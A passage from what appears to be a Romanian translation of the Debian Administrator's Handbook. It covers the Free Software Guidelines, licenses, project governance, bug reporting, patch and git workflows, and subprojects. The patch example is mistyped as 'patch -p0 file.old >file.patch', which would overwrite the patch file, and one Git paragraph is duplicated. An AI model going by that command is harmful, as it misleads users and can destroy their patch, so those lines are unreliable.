2. Codul sursă. Programul trebuie să includă codul sursă și trebuie să permită distribuirea în
codul sursă, cât și în forma compilată.
3. Lucrări derivate. Licența trebuie să permită modificări și lucrări derivate, și trebuie să
permită distribuirea lor în aceleași condiții ca licența software-ului inițial.
4. Integritatea codului sursă al autorului. Licența poate restricționa distribuirea codului
sursă în forma modificată, doar dacă licența permite distribuirea “fișierelor de corectură (patch)”
cu codul sursă în scopul modificării programului la momentul construirii. Licența trebuie să
permită în mod explicit distribuirea software-ului construit din codul sursă modificat. Licența
poate cere ca lucrări derivate să poarte un nume, sau număr de versiune diferit de software-ul
original (Acesta este un compromis. Grupul Debian încurajează toți autorii să nu restricționeze
niciun fișier, sursă sau binar, de la a fi modificat).
5. Fără discriminarea persoanelor sau a grupurilor. Licența nu trebuie să discrimineze nicio
persoană, sau grup de persoane.
6. Fără discriminarea domeniilor de interes. Licența nu trebuie să restricționeze pe nimeni
să folosească programul într-un anumit domeniu de interes. De exemplu, n-ar să putea să
restricționeze programul de a fi utilizat într-o afacere sau de a fi utilizat pentru cercetarea
genetică.
7. Distribuirea licenței. Drepturile atașate programului trebuie să se aplice tuturor celor cărora
le este redistribuit programul fără a fi cerința executării unei licențe suplimentare de către părțile
respective.
8. Licența nu trebuie să fie specifică pentru Debian. Drepturile atașate programului nu
trebuie să depindă de faptul că programul face parte dintr-un sistem Debian. Dacă programul
este extras din Debian și utilizat, sau distribuit fără Debian, dar în alt mod în termenii licenței
programului, toate părțile cărora le este redistribuit programul ar trebui să aibă aceleași drepturi
ca și cele acordate împreună cu sistemul Debian.
9. Licența nu trebuie să contamineze alte programe software. Licența nu trebuie să plaseze
restricții asupra altor programe software care sunt distribuite împreună cu software-ul licențiat. De
exemplu, licența nu trebuie să insiste că toate celelalte programe distribuite pe același suport
trebuie să fie software liber.

NOȚIUNI DE BAZĂ Copyleft este un principiu care constă în utilizarea drepturilor de autor pentru a garanta libertatea
Copyleft unei opere și a instrumentelor derivate ale acesteia, în loc să restricționeze drepturile de utilizare, așa
cum se întâmplă cu software-ul proprietar. Este, de asemenea, un joc de cuvinte pe termenul
“copyright”. Richard Stallman a descoperit ideea în momentul în care un prieten al său, amator de
calambururi, a scris pe un plic adresat lui: “copyleft: toate drepturile inversate”. Copyleft impune
păstrarea tuturor libertăților inițiale la distribuirea unei versiuni originale sau modificate a unei opere
(de obicei a unui program). Astfel, nu este posibil să se distribuie un program ca software proprietar
dacă este derivat din codul unui program realizat cu licență copyleft.
Cea mai cunoscută familie de licențe copyleft este, desigur, GNU General Public License (GPL) și
instrumentele derivate ale acesteia, sau GNU Lesser General Public License (LGPL) și GNU FDL
sau GNU Free Documentation License (GFDL). Din păcate, licențele copyleft sunt în general
incompatibile între ele. În consecință, cel mai bine este să folosiți doar unul dintre ele.

10. Exemple de licente “GPL”,“BSD”, “Artistic” licenses sunt exemple de licențe pe care le
considerăm “free”.

NOȚIUNI DE BAZĂ GNU GPL, BSD License și Artistic License, toate respectă liniile directoare Debian de software
Licențe libere liber, chiar dacă sunt foarte diferite. GNU GPL, utilizată și promovată de FSF (Free Software
Foundation), este cel mai frecvent. Caracteristica sa principală este că se aplică și oricărei lucrări
derivate care este redistribuită: un program care încorporează sau utilizează cod GPL poate fi
distribuit numai în conformitate cu termenii săi. Acesta interzice, astfel, orice reutilizare într-o
aplicație proprietară. Acest lucru prezintă probleme grave pentru reutilizarea codului GPL în
software-ul liber incompatibil cu această licență. Ca atare, uneori este imposibil să conectăm un
program publicat sub o altă licență de software liber cu o bibliotecă distribuită sub GPL. Pe de altă
parte, această licență este foarte solidă în dreptul american: avocații FSF au participat la redactarea
acesteia și au obligat adesea pe violatori să ajungă la un acord amiabil cu FSF fără a merge la
instanță.
➨ http://www.gnu.org/copyleft/gpl.html

25
 Licența BSD este cea mai puțin restrictivă: totul este permis, inclusiv utilizarea codului BSD
modificat într-o aplicație proprietară. Microsoft chiar îl folosește bazându-și stratul TCP/IP al
Windows NT pe cel al nucleului BSD.
➨ http://www.opensource.org/licenses/bsd-license.php
În cele din urmă, Artistic License ajunge la un compromis între aceste două altele: integrarea codului
într-o aplicație proprietară este permisă, dar orice modificare trebuie publicată.
➨ http://www.opensource.org/licenses/artistic-license-2.0.php
Textul complet al acestor licențe este disponibil pe orice sistem Debian în
/usr/share/common-license/. (în cazul BSD, noua 3-
Clause License)

COMUNITATE Bruce Perens a fost al doilea lider al proiectului Debian, imediat după Ian Murdock. El a fost foarte controversat
Bruce Perens, un lider prin metodele sale dinamice și autoritare. El rămâne totuși un contribuitor important la Debian, căruia Debian
controversat este îndatorat în special pentru editarea faimosului “Ghid Debian pentru software liber” (DFSG), o idee originală
a lui Ean Schuessler. Ulterior, Bruce ar fi derivat din ea celebra “Definirea Surselor Deschise”, eliminând toate
referințele la Debian.
➨ http://www.opensource.org/
Plecarea sa din proiect a fost destul de emoționantă, dar Bruce a rămas puternic atașat de Debian, deoarece
continuă să promoveze această distribuție în sferele politice și economice. Încă apare sporadic pe listele de e-
mail pentru a-și da sfatul și pentru a-și prezenta ultimele inițiative în favoarea lui Debian.
Ca ultim moment anecdotic, Bruce a fost răspunzător de a se fi inspirat în folosirea diferitele “nume de cod”
pentru versiunile Debian (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 —
Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 —
Buster,11 (nelansat încă) — Bullseye, 12 (nelansat încă) — Bookworm, Unstable — Sid). Sunt preluate din
numele personajelor din filmul Toy Story. Acest film de animație compus în întregime din grafică pe calculator a
fost produs de Pixar Studios, la care Bruce a fost angajat la vremea când a condus proiectul Debian. Denumirea
”Sid” are o stare particulară, deoarece va fi veșnic asociată cu ramura Unstable. În film, acest personaj era
copilul vecinului, care rupea întotdeauna jucării — așa că aveți grijă să nu vă apropiați prea mult de versiunea
Instabilă. Altminteri, Sid este un acronim pentru “Still In Development” (“Încă în dezvoltare”).

1.4. Munca internă în Debian Project

Rezultatele finale abundente produse de proiectul Debian derivă simultan din munca pe infrastructura
realizată de dezvoltatorii Debian experimentați, din munca individuală sau colectivă a dezvoltatorilor de
pachete Debian și din feedback-ul utilizatorilor.

1.4.1. Dezvoltatorii Debian

Dezvoltatorii Debian au diverse responsabilități, și ca membri ai proiectului oficial, au o influență mare asupra
direcției pe care o ia proiectul. Un dezvoltator Debian este în general responsabil pentru cel puțin un pachet,
dar în funcție de timpul disponibil și dorință sunt liberi să se implice în numeroase echipe, dobândind astfel
mai multe responsabilități în cadrul proiectului.
➨ http://www.debian.org/devel/people
➨ http://www.debian.org/intro/organization
➨ http://wiki.debian.org/Teams

INSTRUMENT Debian are o bază de date care include toți dezvoltatorii înregistrați în cadrul proiectului și informațiile lor
Baza de date a dezvoltatorului relevante (adresă, telefon, coordonate geografice, cum ar fi longitudinea și latitudinea, etc.). Unele dintre
informații (nume și prenume, țară, nume de utilizator din cadrul proiectului, nume de utilizator IRC, cheie
GnuPG etc.) sunt publice și disponibile pe Web.
➨ http://db.debian.org/
Coordonatele geografice permit crearea unei hărți care să-i localizeze pe toți dezvoltatorii de pe glob. Debian
este cu adevărat un proiect internațional: dezvoltatorii săi pot fi găsiți pe toate continentele, deși majoritatea sunt
în “țări occidentale”.

26
 Figura 1.2 Distribuția la nivel mondial a dezvoltatorilor Debian

Întreținerea pachetelor este o activitate relativ organizată, foarte documentată sau chiar reglementată. În
consecință, aceasta trebuie să respecte toate standardele stabilite de Politica Debian. Din fericire,
întreținătorul are la dispoziție multe instrumente care să-i ușureze munca. Dezvoltatorul se poate concentra,
așadar, pe specificul pachetului său și pe sarcini mai complexe, cum ar fi restrângerea sau eliminarea
erorilor.
➨ http://www.debian.org/doc/debian-policy/
NOȚIUNI DE BAZĂ Menținerea unui pachet presupune, mai întâi, “împachetarea” unui program. Mai exact, aceasta înseamnă
Întreținerea pachetului, definirea mijloacelor de instalare, astfel încât odată instalat acest program să funcționeze și să respecte regulile
activitatea dezvoltatorului pe care proiectul Debian și le stabilește. Rezultatul acestei operațiuni este salvat într-un fișier .deb. Instalarea
eficientă a programului nu va necesita atunci altceva decât extragerea acestei arhive comprimate și executarea
unor scripturi de pre-instalare sau post-instalare conținute în acesta.
După această fază inițială, ciclul de întreținere începe cu adevărat: pregătirea actualizărilor pentru a urma cea
mai recentă versiune a politicii Debian, remedierea erorilor raportate de utilizatori, și incluzând noile versiuni
“în amonte” ale programului care continuă să se dezvolte simultan. De exemplu, la momentul împachetării
inițiale programul era la versiunea 1.2.3. După câteva luni de dezvoltare, autorii originali lansează o nouă
versiune stable, cu numărul 1.4.0. În acest moment, întreținătorul Debian ar trebui să actualizeze pachetul, astfel
încât utilizatorii să poată beneficia de ultima sa versiune stabilă.

Politica, element esențial al proiectului Debian, stabilește normele care asigură atât calitatea pachetelor, cât
și interoperabilitatea perfectă a distribuției. Datorită acestei politici, Debian rămâne consecvent în ciuda
dimensiunii sale gigantice. Această politică nu este rigidă, “bătută-n cuie”, ci evoluează continuu datorită
propunerilor formulate pe lista de corespondență debian-policy@lists.debian.org. Modificările care sunt
agreate de toate părțile interesate sunt acceptate și aplicate textului de către un grup restrâns de întreținători
care nu au nici o responsabilitate editorială (includ doar modificările convenite de dezvoltatorii Debian care
sunt membri ai listei menționate mai sus). Puteți citi propunerile de modificare curente pe sistemul de
urmărire a erorilor:
➨ http://bugs.debian.org/debian-policy
COMUNITATE Oricine poate propune o modificare a Politicii Debian doar prin trimiterea unui raport de eroare cu un nivel de
Procesul editorial al Politicii severitate a “listei de dorințe” împotriva pachetului debian-policy. Procesul care începe apoi este documentat în
https://www.debian.org/doc/debian-policy/ap-process.html; dacă se recunoaște că
problema dezvăluită trebuie rezolvată prin crearea unei noi reguli în Politica Debian, o discuție începe pe lista
debian-policy@lists.debian.org de corespondență până când se ajunge la un consens și se emite o propunere.
Cineva, apoi, elaborează un amendament dorit și îl înaintează spre aprobare (sub forma unei corecții pentru
revizuire). De îndată ce alți doi dezvoltatori aprobă faptul că amendamentul propus reflectă consensul atins în
discuția anterioară (o “secondează”), propunerea poate fi inclusă în documentul oficial de către unul dintre
întreținătorii de pachete debian-policy. Dacă procesul eșuează la unul dintre acești pași, întreținătorii închid
eroarea clasificând propunerea ca fiind respinsă.

POLITICA DEBIAN Documentația fiecărui pachet este stocată în /usr/share/doc/pachet. Acest director conține adesea un
Documentația fișier README.Debian cu descrierea ajustărilor specifice Debian efectuate de întreținătorul pachetelor. Astfel,
este înțelept să citiți acest fișier înainte de orice configurare, pentru a beneficia de experiența lui. De asemenea,
găsim un fișier changelog.Debian.gz care descrie modificările făcute de la o versiune la alta de către
întreținătorul Debian.

27
 Acest lucru nu trebuie confundat cu fișierul changelog.gz (sau echivalent), care descrie modificările făcute
de dezvoltatorii din amonte. Fișierul copyright include informații despre autori și licența care acoperă
software-ul. În cele din urmă, este posibil să găsim și un fișier numit NEWS.Debian.gz, care permite
dezvoltatorului Debian să comunice informații importante cu privire la actualizări; dacă apt-listchanges este
instalat, aceste mesaje sunt afișate automat. Toate celelalte fișiere sunt specifice software-ului în cauză. Mai ales
am dori să subliniem subdirectorul examples, care conține frecvent exemple de fișiere de configurare.

Politica oferă o acoperire considerabilă aspectelor tehnice de împachetare. Mărimea proiectului ridică, de
asemenea, probleme de organizare; acestea sunt tratate de Constituția Debian, care stabilește o structură și
mijloace pentru luarea deciziilor. Cu alte cuvinte, un sistem formal de guvernare.
Această constituție definește un anumit număr de roluri și poziții, plus responsabilități și autorități pentru
fiecare. Este de demn de remarcat faptul că dezvoltatorii Debian au întotdeauna autoritate de decizie finală
printr-un vot decizional general, în care o majoritate calificată de trei sferturi (75%) din voturi este necesară
pentru modificări semnificative (cum ar fi cele cu impact asupra Documentelor Fundației). Cu toate acestea,
dezvoltatorii aleg anual un “lider” care să îi reprezinte în ședințe și să asigure coordonarea internă între
diferite echipe. Această alegere este întotdeauna o perioadă de discuții intense. Rolul acestui lider nu este
definit formal de niciun document: candidații pentru acest post propun de obicei propria definire a poziției. În
practică, rolurile liderului includ rolul de reprezentant în mass-media, coordonarea între echipele “interne” și
furnizarea de îndrumări generale proiectului în cadrul căruia dezvoltatorii se pot referi: opiniile DPL sunt
aprobate implicit de majoritatea membrilor proiectului.
Concret, liderul are o autoritate reală; votul său rezolvă voturile la egalitate; ei pot lua orice decizie care nu
este deja sub autoritatea altcuiva, și pot delega o parte din responsabilitățile lor.
De la înființare, proiectul a fost condus succesiv de Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman,
Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre,
Stefano Zacchiroli și Lucas Nussbaum, Mehdi Dog-guy și Chris Lamb.
Constituția definește, de asemenea, un “comitet tehnic”. Rolul esențial al acestui comitet este să decidă
asupra problemelor tehnice atunci când dezvoltatorii implicați nu au ajuns la un acord între ei. În caz contrar,
acest comitet joacă un rol consultativ pentru orice dezvoltator care nu reușește să ia o decizie pentru care
sunt responsabili. Este important de menționat că aceștia se implică doar atunci când sunt invitați să facă
acest lucru de către una dintre părțile în cauză.
În cele din urmă, Constituția definește poziția de “secretar de proiect”, care este responsabil de organizarea
voturilor aferente diferitelor alegeri și rezoluții generale.
Procedura “rezoluției generale” este detaliată în constituție, de la perioada de discuție inițială până la
numărarea finală a voturilor. Cel mai interesant aspect al acestui proces este că atunci când este vorba de
un vot real, dezvoltatorii trebuie să clasifice opțiunile de vot diferite dintre ei, iar câștigătorul este selectat cu
o metodă Condorcet2 (mai precis, metoda Schulze). Pentru detalii suplimentare, a se vedea:
➨ http://www.debian.org/devel/constitution.en.html

CULTURĂ “Flamewar” este o dezbatere extrem de agitată, o “discuție cu scântei”, care se termină frecvent cu atacuri
Flamewar, o “discuție cu reciproce, odată ce toate argumentele rezonabile au fost epuizate de ambele părți. Anumite teme sunt mai
scântei” frecvent supuse polemicii decât altele (alegerea editorului de text, “preferați vi sau emacs?”, este un vechi
subiect favorit). Problemele provoacă adesea schimburi de e-mailuri foarte rapide datorită numărului mare de
persoane (toată lumea), fiecare cu opinia sa și a caracterului personal al acestor întrebări.
Nimic util nu iese, în general, din astfel de discuții; recomandarea generală este să rămâneți în afara acestor
dezbateri, și poate să treceți rapid prin conținutul lor, întrucât citirea lor în întregime ar necesita prea mult timp.

Chiar dacă această constituție stabilește o aparentă democrație, realitatea de zi cu zi este cu totul diferită:
Debian respectă, natural, regulile software-ului liber ale do-ocracy: cel care face, lucrurile să meargă, ajunge
să ia deciziile. Se poate pierde mult timp dezbătând meritele diferitelor moduri de abordare a unei probleme;
soluția aleasă va fi prima funcțională și satisfăcătoare... care va ieși din moment ce o persoană competentă
a introdus-o.
Acesta este singurul mod de câștig al meritului: faceți ceva util și arătați că a funcționat bine. Multe echipe
“administrative” Debian operează prin cooptare, preferând voluntari care au contribuit deja eficient și și-au
dovedit competența. Natura publică a activității acelor echipe dă posibilitatea noilor contribuitori să observe și
să înceapă să ajute fără niciun privilegiu special. Din acest motiv Debian este adesea descris ca
“meritocrație”.

2https://en.wikipedia.org/wiki/Condorcet_method

28
 CULTURĂ Meritocrația este o formă de guvernare în care autoritatea este exercitată de cei cu cel mai mare merit. Pentru
Meritocrația, domnia Debian, meritul este o măsură a competenței, care este, ea însăși, evaluată prin observarea acțiunilor trecute de
cunoașterii către unul sau mai mulți alții din cadrul proiectului (Stefano Zacchiroli, fost lider de proiect, vorbește despre
“do-ocracy”, adică “puterea este a celor care fac”). Simpla lor existență dovedește un anumit nivel de
competență; realizările lor sunt în general software liber cu cod sursă disponibil, care poate fi ușor revizuit de
către colegi, pentru a le evalua calitatea.

Această metodă operațională eficientă garantează calitatea contributorilor Debian în echipele “cheie”.
Această metodă nu este în niciun caz perfectă, și ocazional există și acei care nu acceptă acest mod de
lucru. Selecția dezvoltatorilor acceptați în echipe poate părea un pic arbitrară sau chiar nedreaptă. Mai mult,
nu toată lumea definește la fel serviciul așteptat de la aceste echipe. Pentru unii este inacceptabil să
trebuiască să aștepte opt zile pentru includerea unui nou pachet Debian, în timp ce alții vor aștepta cu
răbdare trei săptămâni fără nicio problemă. Ca atare, există plângeri periodice din partea nemulțumiților cu
privire la “calitatea serviciului” din partea unor echipe.

COMUNITATE Echipa responsabilă de admiterea noilor dezvoltatori este cea mai criticată în mod regulat. Trebuie să
Integrarea noilor întreținători recunoaștem că, de-a lungul anilor, proiectul Debian a simțit necesitatea unor noi dezvoltatori care să accepte.
Este posibil ca unii să vadă o oarecare nedreptate în acest sens, dar trebuie să mărturisim că ceea ce au fost doar
mici provocări la început au devenit mult mai mari într-o comunitate de peste 1.000 de oameni, când vine vorba
de asigurarea calității și integrității a tot ceea ce produce Debian pentru utilizatori.
Mai mult, procedura de acceptare este încheiată prin revizuirea candidaturii de către o echipă mică, Debian
Account Managers. Astfel, acești manageri sunt expuși în mod special criticilor, întrucât au ultimul cuvânt în
includerea sau respingerea unui voluntar în comunitatea dezvoltatorilor Debian. În practică, uneori, aceștia
trebuie să întârzie acceptarea unei persoane până când au aflat mai multe despre operațiunile proiectului.
Desigur, cineva poate contribui la Debian înainte de a fi acceptat ca dezvoltator oficial, fiind sponsorizat de
dezvoltatorii actuali.

1.4.2. Rolul activ al utilizatorilor

S-ar putea pune întrebarea dacă este relevant să-i menționăm pe utilizatori printre cei care lucrează în
cadrul proiectului Debian, dar răspunsul este un da cert: ei joacă un rol esențial în proiect. Departe de a fi
“pasivi”, unii utilizatori folosesc versiuni de dezvoltare ale Debian și trimit regulat rapoarte despre erori pentru
a indica probleme. Alții merg chiar mai departe și trimit idei pentru îmbunătățiri, depunând un raport de erori
cu un nivel de severitate al “listei de dorințe” sau chiar trimit corecturi la codul sursă, numite “patches” (vedeți
secțiunea 1.4.2.3. “Trimiterea remedierilor” pagina 30).

1.4.2.1. Raportarea erorilor

Instrumentul fundamental pentru trimiterea erorilor în Debian este Debian Bug Tracking System (Debian BTS),
utilizat de părți mari ale proiectului. Partea publică (interfața web) permite utilizatorilor să vizualizeze toate
erorile raportate, cu opțiunea de a afișa o listă sortată de defecțiuni, selectate în funcție de diverse criterii,
cum ar fi: pachetul afectat, severitatea, starea, adresa raportorului, adresa întreținătorului responsabil de
acesta, etichetă etc. Puteți răsfoi și lista cu istoricul complet al tuturor discuțiilor cu privire la fiecare eroare.
Pe fond, Debian BTS se bazează pe e-mail: toate informațiile stocate provin din mesajele trimise de diferitele
persoane implicate. Orice e-mail trimis la 12345@bugs.debian.org va fi astfel atribuit în istoricul pentru numărul
de eroare 12345. Persoanele autorizate pot “închide” o eroare prin scrierea unui mesaj care descrie motivele
decizia de a închide 12345-done@bugs.debian.org (o eroare este închisă atunci când problema indicată este
rezolvată sau nu mai este relevantă). O nouă eroare este raportată prin trimiterea unui e-mail la
submit@bugs.debian.org în conformitate cu un format specific care identifică pachetul în cauză. Adresa
control@bugs.debian.org permite editarea tuturor “meta-informațiilor” legate de o eroare.
Debian BTS are și alte caracteristici funcționale, cum ar fi utilizarea de etichete pentru etichetarea erorilor.
Pentru mai multe informații, consultați
➨ http://www.debian.org/Bugs/

VOCABULAR Severitatea unei erori atribuie formal un grad de gravitate problemei raportate. În mod eficient, nu toate erorile
Severitatea unei erori au aceeași importanță; de exemplu, greșeală tipografică într-o pagină de manual nu este comparabilă cu o
vulnerabilitate a securității în software server.
Debian folosește o scară extinsă pentru a descrie severitatea unei erori. Fiecare nivel este definit cu precizie
pentru a facilita selectarea acestora.
➨ http://www.debian.org/Bugs/Developer#severities

29
Utilizatorii pot folosi, de asemenea, linia de comandă pentru a trimite rapoarte de erori pe un pachet Debian
cu instrumentul reportbug. Vă ajută să vă asigurați că eroarea în cauză nu a fost deja depusă, prevenind
astfel redundanța în sistem. Îi amintește utilizatorului de definițiile nivelurilor de severitate, pentru ca raportul
să fie cât mai exact posibil (dezvoltatorul poate oricând să regleze acești parametri mai târziu, dacă este
necesar). Ajută la scrierea unui raport complet de erori fără ca utilizatorul să fie nevoit să cunoască sintaxa
precisă, scriindu-l și permițându-i utilizatorului să o editeze. Acest raport va fi apoi trimis printr-un e-mail
server (în mod implicit, unul la distanță rulat de Debian, dar reportbug poate folosi și un local server).
Acest instrument vizează mai întâi versiunile de dezvoltare, care vor fi remediate erorile. Efectiv, modificările
nu sunt binevenite într-o versiune stabilă a Debian, cu foarte puține excepții pentru actualizările de securitate
sau alte actualizări importante (dacă, de exemplu, un pachet nu funcționează deloc). O corecție a unei erori
minore într-un pachet Debian trebuie, așadar, să aștepte următoarea versiune stabilă.

1.4.2.2. Traducere și documentație

În plus, numeroși utilizatori mulțumiți ai serviciului oferit de Debian doresc să aducă o contribuție proprie la
proiect. Deoarece nu toată lumea are niveluri adecvate de expertiză în programare, ei pot alege să ajute la
traducerea și revizuirea documentației. Există liste de corespondență specifice limbii pentru a coordona
această lucrare.
➨ https://lists.debian.org/i18n.html
➨ http://www.debian.org/international/

NOȚIUNI DE BAZĂ “I18n” și “l10n” sunt abrevierile pentru cuvintele “internaționalizare” și, respectiv, “localizare sau
Ce sunt i18n și l10n? regionalizare”, păstrând litera inițială și ultima a fiecărui cuvânt și o cifră reprezentând numărul literelor din
mijloc.
“Internaționalizarea” unui program constă în modificarea acestuia, astfel încât să poată fi tradus (localizat).
Aceasta implică rescrierea parțială a unui program, scris inițial pentru a funcționa într-o limbă, pentru a putea fi
deschis în toate limbile.
“Localizarea” unui program constă în traducerea mesajelor originale (frecvent în engleză) într-o altă limbă.
Pentru aceasta, trebuie să fi fost deja internaționalizat.
În rezumat, internaționalizarea pregătește software-ul pentru traducere, care este apoi executat prin localizare.

1.4.2.3. Trimiterea remedierilor

Utilizatorii mai avansați ar putea oferi o soluție la un program prin trimiterea unui patch.
Patch file este un petic care descrie modificările care trebuie aduse unuia sau mai multor fișiere de referință.
Mai exact, va conține o listă de linii care trebuie eliminate sau adăugate la cod precum și (uneori) linii
preluate din textul de referință, înlocuind modificările în context (ele permit identificarea amplasării
modificărilor dacă numerele de linie s-au schimbat).
Instrumentul folosit pentru aplicarea modificărilor date într-un astfel de fișier se numește simplu patch.
Instrumentul care îl creează se numește diff și este utilizat după cum urmează:
$ diff -u file.old file.new >&file.patch

Fișierul file.patch conține instrucțiunile pentru modificarea conținutului file.old în file.new. Îl putem
trimite cuiva, care îl poate folosi apoi pentru a recrea file.new de la cele două, astfel:

$ patch -p0 file.old >file.patch

Fișierul file.old, nu este identic cu file.new.

În practică, majoritatea software-ului este menținut în depozitele Git, iar contribuitorii sunt astfel mai
predispuși să folosească git pentru a prelua codul sursă și a propune modificări. git diff va genera un
fișier în același format ca ceea ce ar face diff -u și git apply poate face la fel ca patch-ul.

CULTURĂ Git este un instrument pentru lucrul în colaborare pe mai multe fișiere, păstrând în același timp un istoric al
Git modificărilor. Fișierele în cauză sunt în general fișiere text, cum ar fi codul sursă al unui program. Dacă mai
multe persoane colaborează la același fișier, git poate îmbina modificările făcute doar dacă au fost făcute în
porțiuni diferite ale fișierului. În caz contrar, aceste “conflicte” trebuie rezolvate manual.

30
 Git este un sistem distribuit în care fiecare utilizator are un depozit cu istoricul complet al modificărilor.
Depozitele centrale sunt utilizate pentru a descărca proiectul (git clone) și pentru a partaja munca făcută cu
alții (git push).
Git este un sistem distribuit în care fiecare utilizator are un depozit cu istoricul complet al modificărilor.
Depozitele centrale sunt utilizate pentru a descărca proiectul (git clone) și pentru a partaja munca făcută cu
alții (git push). Depozitul poate conține mai multe versiuni ale fișierelor, dar o singură versiune poate fi
lucrată la un moment dat: se numește copia de lucru (poate fi modificată pentru a indica o altă versiune cu git
checkout). Git vă poate arăta modificările aduse copiei de lucru (git diff), le poate stoca în depozit
creând o nouă intrare în istoricul versiunilor (git commit), poate actualiza copia de lucru pentru a include
modificări făcute în paralel de alți utilizatori (git pull) și poate înregistra o configurație particulară din
istoric pentru a putea fi cu ușurință extrasă ulterior (git tag).
Git ușurează gestionarea mai multor versiuni concomitente ale unui proiect în curs de dezvoltare, fără ca acestea
să intervină între ele. Aceste versiuni se numesc ramuri. Această metaforă a unui copac este destul de precisă,
deoarece un program este inițial dezvoltat pe un trunchi comun. Când s-a atins un punct de reper (cum ar fi
versiunea 1.0), dezvoltarea continuă pe două ramuri: ramura de dezvoltare pregătește următoarea versiune
majoră, iar ramura de întreținere gestionează actualizări și remedieri pentru versiunea 1.0.
Git este astăzi cel mai popular sistem de control al versiunilor, dar nu și singurul.
Ca istoric, SVS (Sistem al Versiunilor Simultane) a fost primul instrument utilizat pe scară largă, dar
numeroasele sale limitări au contribuit la apariția unor alternative libere mai moderne. Acestea includ, în special,
subversion (svn), git, bazaar (bzr), și mercurial (hg).
➨ http://www.nongnu.org/cvs/
➨ http://subversion.apache.org/
➨ http://git-scm.com/
➨ http://bazaar.canonical.com/
➨ http://mercurial.selenic.com/

În timp ce ieșirea git diff este un fișier care poate fi partajat cu alți dezvoltatori, există de obicei
modalități mai bune de a trimite modificări. Dacă dezvoltatorii preferă să obțină patch-uri prin e-mail, de obicei
doresc patch-uri generate cu git format-patch, astfel încât să poată fi integrate direct în depozit cu git
am. Acest lucru păstrează meta-informațiile de confirmare și face posibilă partajarea mai multor confirmări
simultan.
Acest flux de lucru bazat pe e-mail este încă popular, dar tinde să fie înlocuit cu utilizarea cererilor de
îmbinare (sau a cererilor de tragere) ori de câte ori software-ul este găzduit pe o platformă precum GitHub sau
GitLab - iar Debian folosește GitLab pe salsa.debian.org server. Pe aceste sisteme, odată ce ați creat
un cont, vă furnizați depozitul, creând efectiv o copie a depozitului în propriul cont și puteți apoi clona
depozitul respectiv și împinge propriile modificări în acesta. De acolo, interfața web vă va sugera să trimiteți o
cerere de îmbinare, notificând dezvoltatorilor modificările dvs., facilitând revizuirea și acceptarea modificărilor
dvs. cu un singur clic.

1.4.2.4. Alte moduri de a contribui

Toate aceste mecanisme de contribuție sunt eficientizate prin comportamentul utilizatorilor. Departe de a fi o
colecție de persoane izolate, utilizatorii sunt o adevărată comunitate în cadrul căreia au loc numeroase
schimburi. Remarcăm în mod deosebit activitatea impresionantă din lista de discuții pentru utilizatori, debian-
user@lists.debian.org (capitolul 7. “Probleme și informații” pagina 125, aceasta mult mai detaliată.
Nu numai că utilizatorii se ajută pe ei înșiși (și pe alții) cu privire la problemele tehnice care îi afectează în
mod direct, dar de asemenea discută despre cele mai bune modalități de a contribui la proiectul Debian și de
a-l ajuta să avanseze — discuții care duc frecvent la sugestii de îmbunătățiri.

INSTRUMENT Programul how-can-i-help enumeră oportunitățile de a contribui la pachetele Debian care sunt instalate
how-can-i-help local. După fiecare invocare APT, arată modalități de a ajuta, evidențiind erorile etichetate “nou-venit” (care sunt
puncte de intrare ușoare pentru noii colaboratori) sau pachetele orfane care au nevoie de un nou program de
întreținere. Programul poate fi executat și direct.

Întrucât Debian nu cheltuie fonduri pentru nicio campanie de promovare de sine stătătoare, utilizatorii săi
joacă un rol esențial în răspândirea sa, asigurându-și faima prin cuvântul rostit.
Această metodă funcționează destul de bine, deoarece fanii Debian se găsesc la toate nivelurile comunității
de software liber: de la ateliere în care utilizatorii experimentați îi ajută pe noii veniți să instaleze sistemul,
organizate de LUG-uri locale sau “Grupuri de utilizatori Linux”, până la cabine de asociere la convenții de
tehnologie care se ocupă de Linux etc. “Grupul utilizatorilor de Linux” pentru România este RLUG.

31
Voluntarii realizează afișe, broșuri, autocolante și alte materiale promoționale utile pentru proiect, pe care le
pun la dispoziția tuturor și pe care Debian le oferă liber pe situl său web:
➨ http://www.debian.org/events/material

1.4.3. Echipe și subproiecte

Încă de la început, Debian a fost organizat în jurul conceptului de pachete sursă, fiecare cu întreținătorul sau
grupul de întreținători. Multe echipe de lucru au apărut de-a lungul timpului, asigurând administrarea
infrastructurii, gestionarea sarcinilor care nu sunt specifice niciunui pachet în special (asigurarea calității,
politica de Debian, instalatorul, etc.), cu cele mai recente serii de echipe crescând în jurul subproiectelor.

1.4.3.1. Subproiecte existente în Debian

Fiecare cu propriul Debian! Un sub-proiect este un grup de voluntari interesați să adapteze Debian la nevoile
specifice. Dincolo de selecția unui subgrup de programe destinate unui anumit domeniu (educație, medicină,
creație multimedia etc.), sub-proiectele sunt de asemenea implicate în îmbunătățirea pachetelor existente,
împachetarea programelor lipsă, adaptarea instalatorului, crearea documentației specifice, și altele.

VOCABULAR Procesul de dezvoltare pentru o distribuție derivată constă în începerea cu o anumită versiune de Debian și
Sub-proiect și distribuție modificarea acesteia. Infrastructura folosită pentru această lucrare este complet externă proiectului Debian. Nu
derivată există neapărat o politică pentru a contribui la îmbunătățiri. Această diferență explică modul în care o distribuție
derivată poate fi “divergentă” de originile sale și de ce trebuie să resincronizeze în mod regulat cu sursa lor
pentru a beneficia de îmbunătățirile realizate în amonte.
Pe de altă parte, un sub-proiect nu poate diverge, deoarece toate lucrările sale constă în îmbunătățirea directă din
Debian pentru a-l adapta la un obiectiv specific.
Cea mai cunoscută distribuție derivată de la Debian este, fără îndoială, Ubuntu, dar există mai multe. Vedeți
anexa A. “Distribuții derivate” pagina 354 pentru a afla despre particularitățile lor și poziționarea lor în relația cu
Debian.

Iată o mică selecție a subproiectelor actuale:

• Debian-Junior, de Ben Armstrong, oferind un sistem Debian atractiv și ușor de utilizat pentru copii;
• Debian-Edu, de Petter Reinholdtsen, s-a concentrat pe crearea unei distribuții specializate pentru lumea
academică;
• Debian Med, de Andreas Tille, dedicat domeniului medical;
• Debian Multimedia care se ocupă de activități legate de audio și multimedia;
• Debian-Desktop care se concentrează pe desktop și coordonează lucrările de artă pentru tema
implicită;
